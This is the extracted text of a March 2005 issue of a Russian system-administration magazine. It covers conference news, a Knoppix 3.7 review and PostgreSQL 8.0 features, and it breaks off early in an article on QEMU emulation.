98
№3(28) март 2005 подписной индекс 81655 www.samag.ru Linux Xinerama: один монитор хорошо, а много лучше Knoppix – русская редакция Восстановление удаленных файлов под Linux FreeBSD в домене Microsoft Windows Практикум Python: отправка файлов по электронной почте Шифрование данных в Linux – новый взгляд на аппаратные ключи Автоматизация процесса подключения баз 1С Эмуляция при помощи QEMU Программирование на shell в экстремальных условиях Linux Xinerama: один монитор хорошо, а много лучше Knoppix – русская редакция Восстановление удаленных файлов под Linux FreeBSD в домене Microsoft Windows Практикум Python: отправка файлов по электронной почте Шифрование данных в Linux – новый взгляд на аппаратные ключи Автоматизация процесса подключения баз 1С Эмуляция при помощи QEMU Программирование на shell в экстремальных условиях №3(28) март 2005

028 Системный Администратор 03 2005

Embed Size (px)

DESCRIPTION

№3(28) март 2005 подписной индекс 81655 www.samag.ru №3(28) март 2005 86 Мониторинг сетевых событий при помощи sguil FreeBSD tips: использование ipnat PostgreSQL 8.0: новые возможности Техника оптимизации под Linux Часть 2 – ветвления Эмуляция при помощи QEMU ПРОГРАММИРОВАНИЕ АДМИНИСТРИРОВАНИЕ PhpGACL – система управления правами [email protected] БЕЗОПАСНОСТЬ 4 7 [email protected]

Citation preview

Page 1: 028 Системный Администратор 03 2005

№3(28) март 2005подписной индекс 81655

www.samag.ru

Linux Xinerama: один монитор хорошо,а много лучше

Knoppix – русская редакция

Восстановление удаленных файловпод Linux

FreeBSD в домене Microsoft Windows

Практикум Python:отправка файлов по электронной почте

Шифрование данных в Linux –новый взгляд на аппаратные ключи

Автоматизация процессаподключения баз 1С

Эмуляция при помощи QEMU

Программирование на shellв экстремальных условиях

Linux Xinerama: один монитор хорошо,а много лучше

Knoppix – русская редакция

Восстановление удаленных файловпод Linux

FreeBSD в домене Microsoft Windows

Практикум Python:отправка файлов по электронной почте

Шифрование данных в Linux –новый взгляд на аппаратные ключи

Автоматизация процессаподключения баз 1С

Эмуляция при помощи QEMU

Программирование на shellв экстремальных условиях

№3(

28)

мар

т 20

05

Page 2: 028 Системный Администратор 03 2005
Page 3: 028 Системный Администратор 03 2005

1№3, март 2005

оглавление

ТЕНДЕНЦИИ 3

СОБЫТИЯ 2

PostgreSQL 8.0: новые возможности

Сергей Супрунов[email protected] 7

Обзор Knoppix 3.7 Russian Edition

Александр Байрак[email protected] 4

Эмуляция при помощи QEMU

Сергей Яремчук[email protected] 8

Linux Xinerama: один монитор хорошо,а много лучше

Павел Закляков[email protected] 14

АДМИНИСТРИРОВАНИЕ

FreeBSD в домене Microsoft Windows

Рашид Ачилов[email protected] 22

FreeBSD tips: использование ipnat

Сергей Супрунов[email protected] 20

PhpGACL – система управления правами

Кирилл Сухов[email protected] 27

Практикум Python: отправка файловпо электронной почте

Сергей Супрунов[email protected] 30

Восстановление удаленных файловпод Linux

Крис Касперски[email protected] 36

Использование альтернативныхпотоков данных

Максим Костышин[email protected] 44

Сага о биллинге,или Считаем трафик на FreeBSD(ng_ipacct + perl+ MySQL)Часть 2

Владимир Чижиков[email protected] 52

Автоматизация процесса подключениябаз 1С с помощью сценариярегистрации пользователей в сети

Иван Коробко[email protected] 48

Защита сетевых сервисовс помощью stunnelЧасть 3

Андрей Бешков[email protected] 58

БЕЗОПАСНОСТЬ

Мониторинг сетевых событийпри помощи sguil

Сергей Яремчук[email protected] 64

Шифрование данных в Linux –новый взгляд на аппаратные ключи

Александр Похабов[email protected] 70

Система создания документации PODЧасть 1

Алексей Мичурин[email protected] 74

Программирование на shellв экстремальных условиях

Гаспар Чилингаров[email protected] 82

ПРОГРАММИРОВАНИЕ

Техника оптимизации под LinuxЧасть 2 – ветвления

Крис Касперски[email protected] 86

BUGTRAQ 13, 43, 57

КНИЖНАЯ ПОЛКА 93

Page 4: 028 Системный Администратор 03 2005

2

событиясобытиясобытиясобытиясобытия

20-21 апреля в Москве в десятый раз состоится ежегоднаяконференция Корпоративные базы данных-2005 (http://citforum.ru/seminars/cbd2005).

Организатор конференции Центр Информационных Тех-нологий (ЦИТ) – владелец IT-портала, объединяющего круп-нейшие тематические ресурсы – CITForum.ru, CITKIT.ru идр. Генеральный спонсор конференции – Microsoft, спон-сор – InterSystems.

Корпоративные базы данных – единственная в постсо-ветском пространстве независимая конференция, посвя-щенная тематике средств управления базами данных. Еже-годно участники конференции имеют возможность в тече-ние короткого времени получить самую свежую концентри-рованную информацию о состоянии технологии.

Как всегда, с докладами о новых технологических реше-ниях и перспективах выступят представители ведущих ком-паний, поставляющих продукты для управления данными иразработки приложений:! Microsoft! Oracle! IBM

Особенностью предстоящей конференции является по-вышенное внимание к СУБД с открытым исходным кодом. Вэтом году российские разработчики, принадлежащие сооб-ществу Open Source, расскажут о состоянии и перспективахсистем:! PostgreSQL! MySQL! Ingres r3

По словам председателя конференции Сергея Кузнецо-ва (ИСП РАН), движение Open Source в области баз дан-ных теперь имеет стратегическое значение для нашей стра-ны. СУБД с открытым кодом стали более зрелыми, а Рос-сия прочно вошла в сообщество разработчиков программ-ного обеспечения Open Source. Российские разработчикивходят в число лидеров в любой международной команде,развивающей свободно доступные СУБД, и внутри Россиивозникают новые собственные проекты.

Сочетание докладов о ведущих коммерческих продук-тах с докладами о развитии систем категории Open Sourceделает программу юбилейной конференции интересной иполезной для самого широкого круга специалистов.

Благодаря поддержке генерального спонсора конферен-ции Microsoft и спонсора InterSystems, на оплату регистра-ционного взноса индивидуальных участников будут выде-ляться гранты. В первую очередь на гранты могут рассчи-тывать преподаватели, студенты и аспиранты университе-тов и вузов, а также сотрудники бюджетных научных орга-низаций.

Место проведения конференции: Москва, Ленинскийпроспект, 32а, новое здание Президиума РАН.

Программа конференции и все подробности – http://citforum.ru/seminars/cbd2005.

Выставочное объединение «Рестэк» совместно с компа-нией Reed Exhibitions и IDG World Expo объявляют о про-ведении первой в России международной специализиро-ванной выставки-конференции для бизнес-инфраструкту-ры LinuxWorld Russia 2005.

Выставка пройдет 7-9 сентября 2005 года на одной пло-щадке с Infosecurity Russia и StorageExpo в лучшем выста-вочном комплексе России – Гостиный двор, расположен-ном в самом сердце Москвы.

LinuxWorldExpo (www.linuxworldexpo.com) – это популяр-ная конференция и выставка, посвящённая решениям наоснове Linux, которая ежегодно проходит в 15 странах мира(США, Канада, Китай, Южная Африка, Италия, Япония,Англия, Нидерланды, Германия и другие).

LinuxWorld – один из наиболее узнаваемых мировых вы-ставочных брендов!

Тим Портер, директор по развитию технологических вы-ставок компании Reed Exhibitions, отметил: «Решения набазе Linux уже достаточно широко распространены в Рос-сии. Выставка LinuxWorld Russia представляет уникальнуювозможность как пользователям, так и разработчикам уви-деть последние отечественные и международные продук-ты на быстрорастущем рынке систем с открытым кодом.Выставки Infosecurity 2004 и Storage Expo уже получилибольшую поддержку в России, и я уверен, что LinuxWorldRussia будет иметь такой же успех».

На выставке будут представлены продукты и решения отведущих игроков рынка: IBM, RedHat, Vdel, Sun Microsystems,Hewlett-Packard, R-Style, Cisco Systems, ALT Linux, ASP Linux,Инфосистемы Джет, Инвента, Лаборатория Касперского,Linux Inc., LinuxCenter и другие.

Основные тематики выставки LinuxWorld: Серверы и уп-равление серверами, Приложения, Безопасность, Хранение,Кластеринг/HPC/Grid-системы, Коммуникации/Сети, Мобиль-ное программирование, Встроенные системы, Базы данных,Управление данными, Системы управления контентом/Пор-тальные технологии, Разработка ПО, Desktop-решения, Тен-денции и инновации для Linux и открытых систем и многоедругое!

В рамках выставки LinuxWorld Russia предусмотренанасыщенная деловая программа, которая включает конфе-ренцию, серию бесплатных тематических семинаров, а так-же презентации компаний, мастер-классы и бизнес-секциипо самым актуальным вопросам развития Open Source-си-стем.

LinuxWorld Russia пройдёт на одной площадке с Infosecurityи StorageExpo 2005. Совместному проведению выставок-конференций способствует то, что Linux – одна из наибо-лее надёжных платформ для бизнеса, обеспечивающаябезопасность информационных систем и стабильное хра-нение данных.

Подробную информацию о выставке-конференции и ус-ловиях посещения смотрите на официальном сайтеwww.linuxworldexpo.ru.

Запланируйте участие!

Новая специализированнаявыставка-конференциядля бизнесаLinuxWorld Russia 2005

Десятая юбилейнаятехническая конференцияКорпоративные базыданных-2005

! Interbase! Firebird! Sedna

7-9СЕНТЯБРЯ

20-21АПРЕЛЯ

! InterSystems! РЕЛЭКС

Page 5: 028 Системный Администратор 03 2005

3№3, март 2005

тенденции

Реэкспорт русских технологийВ Москве, в кафе «Максимус», 1 марта состоялась пресс-конференция, посвященная выходу российской компании«Смарт Лайн Инк» на отечественный рынок со своим веду-щим продуктом – программой DeviceLock.

Компания «Смарт Лайн Инк», основанная в 1996 году вМоскве, многие годы вела очень успешный бизнес в обла-сти защиты информации за рубежом и преимущественно вСША. И теперь ее высоко технологические продукты воз-вращаются на родину. В 2005 году в первоочередных стра-тегических планах компании «Смарт Лайн Инк» было заяв-лено развитие российского рынка.

Изменения в нумерации Linux-ядраВ начале марта было принято решение изменить нумерациюрелизов Linux 2.6. «Реформа» призвана решить проблему сзадержками в исправлении проблем, найденных в Linux 2.6.x.Они связаны с тем, что часто возникают ситуации, когдапредыдущее ядро нуждается в «заплатке», однако она мо-жет быть представлена только в следующем релизе, а про-цесс тестирования новой стабильной версии Linux занимаетзначительный объем времени. Поэтому отныне доброволь-цами (первыми из них стали Грег Кроа-Хартман и Крис Райт)будет осуществляться поддержка уже вышедших Linux-ядер2.6.x путем публикации патчей 2.6.x.y. Результат не заста-вил себя ждать: уже 4 марта представлено Linux-ядро2.6.11.1, за которым вскоре последовали и новые патчи.

GNOME 2.10 и KDE 3.4Проекты двух популярнейших открытых графических обо-лочек для UNIX/Linux-систем представили свои новые рели-зы: GNOME 2.10 и KDE 3.4. На последнюю редакцию GNOME,которой, несмотря на существенный прогресс, решено былоприсвоить версию 2.10, разработчики потратили около по-лугода, а ключевыми «пакетными» изменениями стали дваприложения: видеоплейер Totem и утилита Sound Juicer дляконвертирования музыки с AudioCD в цифровой формат.Главное достижение KDE 3.4 – система, воспроизводящаятекст голосом (TTSS), которая доступна как сама по себе(в приложении KSayIt), так и в интегрированной форме вKonqueror, Kate, KPDF. Среди прочих многочисленных из-менений появление новой утилиты Akregator для работы синформацией в формате RSS, значительные улучшения вдвижке KHTML, обновление «корзины» и панели Kicker.

Составил Дмитрий Шуруповпо материалам www.nixp.ru

Intel и Open SourceВ середине марта компания Intel объявила о намерении гло-бально развивать свою Linux-программу. Кампания по пре-дустановке открытой операционной системы на настольныеПК началась еще в конце прошлого года с китайских и ин-дийских производителей, а теперь стало известно, что Intelрешила распространить эту инициативу и на другие стра-ны мира путем предоставления 160 тысячам партнеров на-бора собственных приложений для поддержки Linux, скрип-тов для автоматизации инсталляции и утилит для проверкина совместимость.

Главной проблемой информационной безопасности мно-гих внешне благополучных предприятий, по мнению техни-ческого директора Ашота Оганесяна, является отсутствиеконтроля за перемещениями инсайдерской информации.Такие почти бытовые устройства, как USB-диски, могут со-вершенно беспрепятственно подключаться к рабочим мес-там в обход традиционных систем ограничения доступа исоздавать неучтенные пути как утечки информации, так иэмиссии вирусов. Этот пробел для платформы MS Windowsпризвана закрыть программа DeviceLock. Её последняя вер-сия с индексом 5.7 полностью интегрирована в Active Directoryи может не только централизованно управляться через груп-повые политики, но и также централизованно и очень быс-тро разворачиваться на существующей сети. Программаконтролирует доступ ко всем USB-устройствам, включаяBluetooth и WiFi, и интерфейсам FireWire. Кроме этого, воз-можен аудит файловых операций на отслеживаемых интер-фейсах.В планах компании – развитие серверной состав-ляющей системы DeviceLock, что позволит не только управ-лять доступом, но и при необходимости дублировать всепередаваемые через подконтрольные устройства файлы.

Введение собственной системы шифрования в перспек-тиве решит проблему «потерянных брелоков».

Конечно, «Смарт Лайн Инк» не является софтвернымгигантом, но для IT изменение вектора развития таких ком-паний с зарубежного рынка на отечественный равносиль-но долгожданному «удвоению ВВП» в экономике.

Алексей Барабанов

Page 6: 028 Системный Администратор 03 2005

4

администрирование

Knoppix – один из первых самозагружаемых (LiveCD) дист-рибутивов Linux. В настоящий момент он же является и са-мым популярным. В этом небольшом обзоре будет расска-зано о Knoppix 3.7 Russian Edition от LinuxCenter.ru.

ОБЗОР KNOPPIX 3.7 RUSSIAN EDITION

АЛЕКСАНДР БАЙРАККому может оказаться полезным данный дистрибутив?

Да кому угодно, начиная от человека, решившего «попро-бовать» Linux, но не знающего, с чего начать, и заканчиваясистемным администратором, для которого Knoppix может

Page 7: 028 Системный Администратор 03 2005

5№3, март 2005

администрирование

послужить «спасательной дискетой». Система полностьюавтономна, вы можете использовать ее даже на компьюте-ре без жесткого диска. Тут я хочу заметить, что эта статьябыла написана мной в Knoppix с использованием OpenOffice.org Writer и KSnapshot. Что же входит в состав дист-рибутива:! рабочая среда KDE 3.3.0;! офисный пакет OpenOffice.org 1.1.3;! браузер Mozilla 1.7.3.

Само собой, это далеко не полный список. Я перечис-лил лишь основные, наиболее известные компоненты.

По умолчанию используется ядро Linux версии 2.4.27.Надо заметить, что в дистрибутиве присутствует и ядро изветки 2.6. Но, к сожалению, запустить его мне не удалось.Knoppix сообщил при этом:

Выбор используемого ядра (и не только) осуществляет-ся в меню, попасть в которое можно, нажав <F2> в началь-ный момент загрузки системы. Существует еще одно меню,в котором вы можете указать различные параметры, такиекак: оконный менеджер по умолчанию, язык, разрешениеэкрана, уровень запуска (runlevel) системы. Для получениядоступа к этим настройкам нажмите <F3>.

На моем компьютере (P3-550 МГц/320 Ram) полная заг-рузка заняла порядка 3 минут.

Я решил подготовить обзор дистрибутива не с точки зре-ния системного администратора UNIX, а с точки зренияобычного пользователя. Основное внимание я буду уделятьрассмотрению следующих возможностей системы:! создание и редактирование различных документов;! работа с сетью (просмотр сайтов, электронная почта);! мультимедиа-возможности.

Сразу хочу отметить, что русификация и локализациясистемы выполнена на высоком уровне, почти все програм-мы корректно отображают и работают с кириллическимисимволами.

После загрузки мы попадаем в привычное многим ок-ружение KDE. Впрочем, KDE – не единственная графичес-кая среда. Вы можете также использовать Xfce, оконныеменеджеры WindowMaker, IceWM, Fluxbox, LarsWM или twm,

на выбор. Справедливости ради отмечу, что входящий всостав Fluxbox, русифицирован не до конца: кирилличес-кие символы в меню отображаются некорректно. То же са-мое происходит и с Xfce. Любопытно, что если вы решитепокинуть графический интерфейс и выйти в голую консоль,ничего у вас не получится . По умолчанию система загру-жается на 5-м уровне запуска (runlevel). Для того чтобы по-пасть в консоль, нужно выбрать 2-й или 3-й уровень.

Беглый взгляд на меню поражает многообразием при-ложений, которые разработчики вместили в дистрибутив.Памятуя о сформулированных выше задачах, рассмотримнекоторые из них более подробно.

Для создания текстовых документов представлен ши-рокий перечень текстовых редакторов, начиная от vi и за-канчивая Writer из пакета OpenOffice.org. Так что с уверен-ностью можно сказать, что проблем с составлением тек-стовых документов не возникнет. Создание и просмотрэлектронных таблиц осуществляется c помощью програм-мы Calc из комплекта OpenOffice.org. Работа с графичес-кими файлами также не вызывает проблем. Создать изоб-ражение вы сможете с помощью таких программ, как GIMPили OpenOffice.org Draw. Для просмотра картинок списокпрограмм еще больше, один ImageMagik чего стоит. Доку-менты в формате PDF можно читать с помощью XPDF, KPDFили Acrobat Reader. Я перечислил далеко не все, что можетпригодиться вам для работы с документами.

Настройка сети каких-либо проблем не вызывает. С по-мощью удобных конфигураторов можно создать любое под-

Could not find ramdisk image: minirf26.gz

Page 8: 028 Системный Администратор 03 2005

6

администрирование

ключение: модемное, кабельное и даже GPRS. Выбор брау-зеров богатейший, от простого текстового Lynx и до Mozilla(жаль, что в составе дистрибутива нет Firefox). Посмотретьэлектронную почту можно при помощи Kmail, mutt или по-чтового клиента Mozilla Mail. Для любителей общаться черезИнтернет предлагаются IRC-клиент XChat, ICQ-пейджер Sim.Из прочих «благ цивилизации» отметим менеджеры загру-зок KGet, Downloader for X, программу для чтения групп но-востей Knode. Работая с Knoppix, вы без проблем сможете«влиться» в Windows-сеть, запустив сервер Samba. Посмот-реть общедоступные ресурсы в сети можно с помощьюsmb4k. Особенно любопытные пользователи могут восполь-зоваться снифферами ethereal и ettercap, а также сканеромуязвимостей nessus. Для обеспечения удаленного доступа ккомпьютеру, работающему под управлением Knoppix, мож-но запустить SSH-сервер, а также организовать совместноеиспользование рабочего стола по протоколу VNC.

Под мультимедиа-возможностями я подразумеваю про-слушивание музыки, просмотр фильмов, ну и наличие про-стеньких игр. Начнем с музыки. Тут все просто – самый по-пулярный аудиоплеер для UNIX-систем – это XMMS, рабо-тающий в среде X-Window, и консольный mpg123. В систе-ме присутствуют оба. Видео можно смотреть как с помо-щью Xine, так и через MPlayer. Лично мне второй мне бо-лее привычен.

На диске даже нашлось место для нескольких игр. Кро-ме стандартного набора, входящего в KDE, доступны с де-сяток других игр разного жанра.

Что еще интересного всходит в систему? Kooka – про-грамма для сканирования и распознавания текста. Kgeo по-может освоить азы геометрии. К услугам разработчиков IDEKdevlop, языки Python, TCL, PHP, Perl, и конечно C/C++. От-мечу, что в состав дистрибутива входит ассемблер gas вер-сии 2.15 и компоновщик ld той же версии. Для создания веб-страниц можно использовать Quanta Plus. Работа с карман-ными компьютерами Palm осуществляется с помощью Kpilotи Jpilot (из личного опыта скажу, что второй удобнее). Запу-стить Windows-приложения (по крайней мере, попробоватьэто сделать) можно через WINE. Для записи дисков есть k3b.Само собой, в системе присутствуют такие полезные вещи,как персональный органайзер и адресная книга. Несомнен-но, полезнейшим дополнением является возможность сохра-нить все свои настройки. Для этого нам потребуется любой

носитель с файловой системой ext2 или DOS FAT16/FAT12.В качестве такового я выбрал дискету. Надо заметить, чтосоздать требуемые для программы сохранения настроекфайловые системы можно, что называется, «не отходя откассы». Стоит лишь воспользоваться утилитой kfloppy, кото-рая отформатирует вашу дискету и разместит на ней фай-ловые системы FAT-12/ext2 на выбор. Другой не менее инте-ресной возможностью является указание постоянной домаш-ней директории. В качестве хранилища для размещенных вней файлов я использовал USB Flash размером 32Мб.

В дистрибутиве присутствует компилятор gcc версии 3.3.4и make версии 3.80, а также утилита apt-get. Это значит, чтомы можем расширять Knoppix и адаптировать его под соб-ственные нужды. В качестве примера я собрал эмуляторmips64emul (подробнее о нем можно прочитать в журнале«Системный администратор», №11, ноябрь 2004 г.) Получив-шийся после компиляции бинарный файл я разместил в до-машнем каталоге (а его, как вы помните, можно сохранятьгде угодно). При запуске Knoppix находит и монтирует всеизвестные ему файловые системы. Так что пользовательможет получить доступ к своим файлам, которые находятся,например, в файловой системе FAT32 или Ext2. NTFS тожемонтируется, но в режиме «только для чтения». К сожале-нию, ufs , ufs2 и файловую систему Solaris Knoppix не видит,и, как следствие, работать с ними не может.

В процессе знакомства с Knoppix я нашел в его составевсё (ну или почти всё), что нужно обычному пользователюдля работы и, конечно, отдыха. Я думаю, разработчики до-стигли своей цели, создав дистрибутив, подходящий длярешения широкого круга задач, для большой аудиториипользователей. Как уже упоминалось, дистрибутив послу-жит надежным компаньоном для людей, желающих позна-комиться с миром открытых систем. Удачным вариантомбудет использование Knoppix в офисе. А что? Отличнаяидея. Пользователи приходят, загружаются с диска и начи-нают работать. Свои файлы можно хранить как на смен-ных носителях, так и в главном «хранилище» файлов. Поаналогичной схеме дистрибутив можно использовать и вразличных учебных заведениях.

Приятно, что в состав системы входит небольшой спра-вочник с описанием наиболее популярных программ, вклю-ченных в дистрибутив. Как таковых «минусов» в этой сис-теме я не обнаружил. Недоработки есть. Одна из главных,как это ни парадоксально, все та же пресловутая пробле-ма с русским языком. Раз уж дистрибутив в своем назва-нии имеет приставку «Russian Edition», то разработчикидолжны были из кожи вон вылезти, но везде обеспечитьработу с кириллицей, досконально проверив все. Как я ужеупомянул, проблемы с отображением русских букв присут-ствуют в оконных менеджерах Fluxbox и Xfce. Аналогичныенедочеты встретились мне еще в нескольких программах.К более мелким замечаниям можно отнести некую неряш-ливость в выборе настроек по умолчанию. Например, от-кройте в XINE меню для выбора загружаемого файла. Да,шрифт, мягко сказать, не совсем удобочитаемый. Будем на-деяться, что в следующих версиях системы эти досадныенедоразумения будут исправлены. Но в целом эти мелкиенедоработки, которые не смогли испортить благоприятноевпечатление от дистрибутива.

Page 9: 028 Системный Администратор 03 2005

7№3, март 2005

администрирование

В середине января этого года вышла новая версия откры-той системы управления базами данных PostgreSQL 8.0. Ос-новные характеристики этой СУБД были рассмотрены ра-нее на страницах журнала (см. статью «PostgreSQL: пер-вые шаги», №7, 2004 г.). По сравнению с 7-й веткой (наданный момент это версия 7.4.7) в 8-й версии появился ряднововведений, краткому обзору которых и посвящена этастатья.

Помимо традиционных исправлений недоработок, вы-явленных в прежних версиях, и общих улучшений, смена«мажорной» версии ознаменовалась рядом принципиаль-ных новшеств, направленных прежде всего на расширениевозможностей по управлению СУБД.

Итак, добавлено понятие табличного пространства (tablespaces). Раньше хранилище данных размещалось в дирек-тории, указанной при инициализации командой initdb, тоесть жестко определялось на стадии инсталляции СУБД имогло находиться только на одной файловой системе. Про-блемы со свободным местом приходилось решать либо спомощью переноса хранилища в другой раздел диска и раз-мещения символьной ссылки на него, либо повторной ини-циализацией хранилища с последующим восстановлени-ем данных из резервной копии. Теперь команда «CREATETABLESPACE» позволяет создать несколько табличных про-странств на разных файловых системах. И в дальнейшемпри создании новой базы данных (CREATE DATABASE), таб-лицы (CREATE TABLE), индекса (CREATE INDEX) и т. д. мож-но указать, в каком табличном пространстве следует раз-местить объекты. Это помогает более гибко управлять раз-мещением данных на диске и в ряде случаев повышает бы-стродействие, например, за счет выноса индексных фай-лов в табличное пространство, расположенное на отдель-ном жестком диске.

Команда «ALTER TABLE» позволяет теперь изменять типданных столбца. Раньше для этого требовалось создать но-вый столбец, перенести в него данные и затем старый уда-лить. До версии 7.3 удалять столбцы тоже было нельзя, иприходилось либо мириться с тем, что никому не нужныйстолбец занимает место, либо менять структуру таблицысамым универсальным способом – создавая на ее основеновую. Теперь для этого достаточно одной команды:

Старый и новый типы должны быть совместимы. То естьвы можете изменить тип numeric(5,2) на numeric(9,2), что-бы хранить большие числа, но попытка изменить, напри-мер, числовой тип на строковый приведет к ошибке.

Также в новой версии появились так называемые точкисохранения транзакций (savepoints). В ранних версиях в слу-чае ошибки внутри транзакции она «откатывалась» полно-стью, что в сложных транзакциях (например, при отработ-ке функций) приводило к значительной трате ресурсов. Те-

перь есть возможность в потенциально опасных местахтранзакции размещать savepoints и в дальнейшем при об-работке ошибки откатывать транзакцию только до указан-ной точки сохранения. Для этого используется команда«ROLLBACK TO savepointname», где savepointname – имяточки сохранения, присвоенное ей командой «SAVEPOINTsavepointname». После устранения причины ошибки обра-ботка транзакции продолжится, при этом операции, выпол-ненные нормально, повторяться не будут.

Команда «COPY», которая служит для загрузки данныхв таблицу из внешних файлов и сохранения данных из таб-лиц в файлы, раньше поддерживала текстовый формат сразделителями и собственный двоичный формат. Теперьона поддерживает также работу с файлами в формате CSV(comma separated value), что упрощает обмен данными меж-ду PostgreSQL и, скажем, файлами Excel. Например, чтобысохранить данные из CSV-файла, требуется подготовитьтаблицу, столбцы которой соответствуют по типу полям заг-ружаемого файла. Затем выполняется команда:

В результате данные из file.csv допишутся в конец таб-лицы mytable. Каждая строка файла становится одной за-писью, в качестве разделителя полей будет использовансимвол «запятая». Этот вариант простейший, в общем слу-чае можно явно указывать поля таблицы, которые будут за-полняться из файла, и их порядок, а также задавать ряд до-полнительных параметров. Подробности смотрите в справ-ке (например, введя команду «\h copy» в интерактивном тер-минале psql).

Обновлена версия встроенного языка PL/Perl, позволя-ющего разрабатывать хранимые процедуры на языке Perl.Напомню, что помимо PL/pgSQL и PL/Perl, PostgreSQL по-зволяет использовать для разработки серверной части при-ложений также языки Python (PL/Python) и Tcl (PL/Tcl). Ссайта www.postgresql.org дополнительно можно скачать иустановить модули, обеспечивающие поддержку языковPHP, Java и др. Разработчики PostgreSQL уделили долж-ное внимание и системам от Microsoft – теперь выпускает-ся «родная» версия этой СУБД для Windows 2000/2003/XP.Раньше тоже можно было запускать PostgreSQL в Windows,но под управлением UNIX-эмулятора Cygwin, что крайне от-рицательно сказывалось на быстродействии и требователь-ности к ресурсам и практически не позволяло говорить о«промышленной» эксплуатации PostgreSQL на этих опера-ционных системах. Таким образом, можно констатироватьтот факт, что PostgreSQL по своим характеристикам всебольше приближается к таким коммерческим «монстрам»как Oracle. Конечно, по отношению к Oracle PostgreSQL по-прежнему находится в роли догоняющего, однако разрывсокращается с каждым новым релизом, и выбор этой бес-платной СУБД становится все более предпочтительным.

PostgreSQL 8.0: НОВЫЕ ВОЗМОЖНОСТИСЕРГЕЙ СУПРУНОВ

ALTER TABLE test ALTER COLUMN mynum TYPE NUMERIC(4,2);

COPY mytable FROM �/path/to/file.csv� WITH CSV;

Page 10: 028 Системный Администратор 03 2005

8

администрирование

C увеличением вычислительной мощности настольных сис-тем возрос интерес к различного рода эмуляциям. Причинаясна – теперь пользователь может работать с привычнымиприложениями в другой операционной системе, а то и вовсезапускать несколько копий операционных систем, создаваяцелые виртуальные сети на одном компьютере. Список пред-ложений растет с каждым днем, появляются как свободныереализации, так и коммерческие приложения. Эмулируетсявсе, от игровых приставок и компьютеров давно ушедшихдней до операционных систем или отдельных сервисов. Но,судя по всему, наибольший интерес на сегодня представля-ет эмуляция именно компьютеров, т.к. это более востребо-ванный продукт, особенно среди профессионалов. Теперь,

запустив еще одну операционную систему, можно проверятьработу приложений в различных средах, не перегружаясь понескольку раз в день, изучать взаимодействие, исследоватьнеизвестное и, возможно, потенциально опасное программ-ное обеспечение, использовать специфические инструмен-ты, организовать обучение с теми или иными программны-ми комплексами. Приложения, эмулирующие аппаратнуюсреду, называют системными эмуляторами или виртуальны-ми машинами. Среди них наиболее популярны bochs (http://bochs.sourceforge.net) и VMWare (http://www.vmware.com).Первый, довольно мощный эмулятор, но с довольно неудоб-ным трудоемким и непонятным для новичка процессом на-стройки. Недостаток второго – цена, он является коммер-

СЕРГЕЙ ЯРЕМЧУК

ЭМУЛЯЦИЯ ПРИ ПОМОЩИ QEMU

Page 11: 028 Системный Администратор 03 2005

9№3, март 2005

администрирование

ческим продуктом. Есть еще, конечно, и Cooperative Linux –coLinux (http://www.colinux.org), позволяющий запускатьядро Linux как отдельный процесс в среде ОС Windows, но,как видите, он имеет ограничения и может подойти не длявсех ситуаций. Есть и другие проекты, имеющие свои осо-бенности. Между тем сегодня доступен свободный продукт,который наряду с большой функциональностью и скорос-тью работы имеет относительно простые настройки и объе-диняет в себе некоторые достоинства, доступные в отдель-ных проектах.

QEMU (http://fabrice.bellard.free.fr/qemu/index.html) пред-ставляет собой Open Source-эмулятор, достигающий хоро-шей скорости эмуляции, используя динамическую трансля-цию кода, и способный эмулировать процессоры других ар-хитектур. Отличительной особенностью QEMU являетсяналичие двух видов эмуляции:! full system emulation, при которой создается виртуаль-

ная машина, имеющая свой процессор и различную пе-риферию, что позволяет запускать еще одну операци-онную систему;

! User mode emulation, этот режим, реализованный толь-ко для GNU/Linux, позволяет запускать на родном про-цессоре программы, откомпилированные под другуюплатформу.

Опционально доступен QEMU Accelerator Module (KQEMU),выполняющий часть кода напрямую на реальном процес-соре, минуя виртуальный, и таким образом оптимизируя вы-полнение кода в full system emulation-режиме.

Установить QEMU можно на GNU/Linux, MS Windowsвсех версий начиная с Windows 3.11, BeOS 5 PE, FreeDOSи MSDOS, Solaris, NetBSD, OS/2, Minix и некоторых других.Полный список операционных систем, на которых протести-рована работа qemu с указанием особенностей, доступна вдокументе «QEMU OS Support»: http://fabrice.bellard.free.fr/qemu/ossupport.html.

На момент написания статьи в качестве основной плат-формы могли использоваться компьютеры на базе x86- иPowerPC-процессоров, на стадии тестирования находилисьx86_64, Alpha, Sparc32, ARM и S390. В режиме full systememulation пока полноценно эмулируется только x86-плат-форма, хотя уже доступны реализации x86_64, SPARC иPowerPC, но они находятся в стадии тестирования. QEMUAccelerator Module реализован пока только для Linux, хотяв будущем планируется также поддержка Windows, *BSD и64 разрядных процессоров. В user mode список чуть боль-ше x86, ARM, SPARC и PowerPC. Остальные платформынаходятся пока на стадии тестирования, и при работе воз-можны сбои.

Виртуальная машина i386-архитектуры, созданная припомощи qemu, получает в свое распоряжение следующийнабор виртуальных устройств:! процессор такой же частоты, как и на основной системе,

в многопроцессорной системе виртуальный компьютерполучает в свое распоряжение только один процессор;

! PC BIOS, используемый в проекте Bochs;! материнская плата i440FX с PIIX3 PCI – ISA-мостом;! видеокарта Cirrus CLGD 5446 PCI VGA или VGA карта с

Bochs VESA-расширениями;

! мышь PS/2 и клавиатура;! 2 PCI IDE-интерфейса для жесткого диска и поддержку

CD-ROM;! один гибкий диск;! до 6 NE2000 PCI-сетевых карт;! до 4 последовательных (СОМ)-портов;! вывод звука через Soundblaster 16-совместимую карту.

Как видите, на данный момент виртуальная машина вqemu не работает с USB- и SCSI-устройствами. Здесь онпока, бесспорно, проигрывает VMWare.

Все библиотеки и эмулятор распространяются в исход-ных текстах по GNU LGPL, исключение составляет толькоQEMU Accelerator Module, являющийся проприетарным про-дуктом и требующий согласия разработчиков при распрос-транении и коммерческом использовании.

Установка QEMUСкомпилированная версия для GNU/Linux, исходные текстыи модуль QEMU Accelerator Module доступны на сайте про-екта на странице Download. За версиями для Windows и MacOS X необходимо идти на сайт Free Operating System Zoo –FreeOSZoo (http://www.freeoszoo.org). На этих же сайтах вынайдете и готовые образы свободных операционных сис-тем для запуска при помощи QEMU. Размер архива неболь-шой, чуть меньше одного мегабайта. Установка из исход-ных текстов происходит обычным образом. При написаниистатьи использовался ASPLinux 10 Express.

После чего эмулятор можно запускать. Если набратьqemu без параметров, то будет выведен список опций. Вобщем случае строка запуска выглядит так:

Теперь для примера работы гостевой системы вставля-ем загрузочный диск в CD-ROM и даем такую команду:

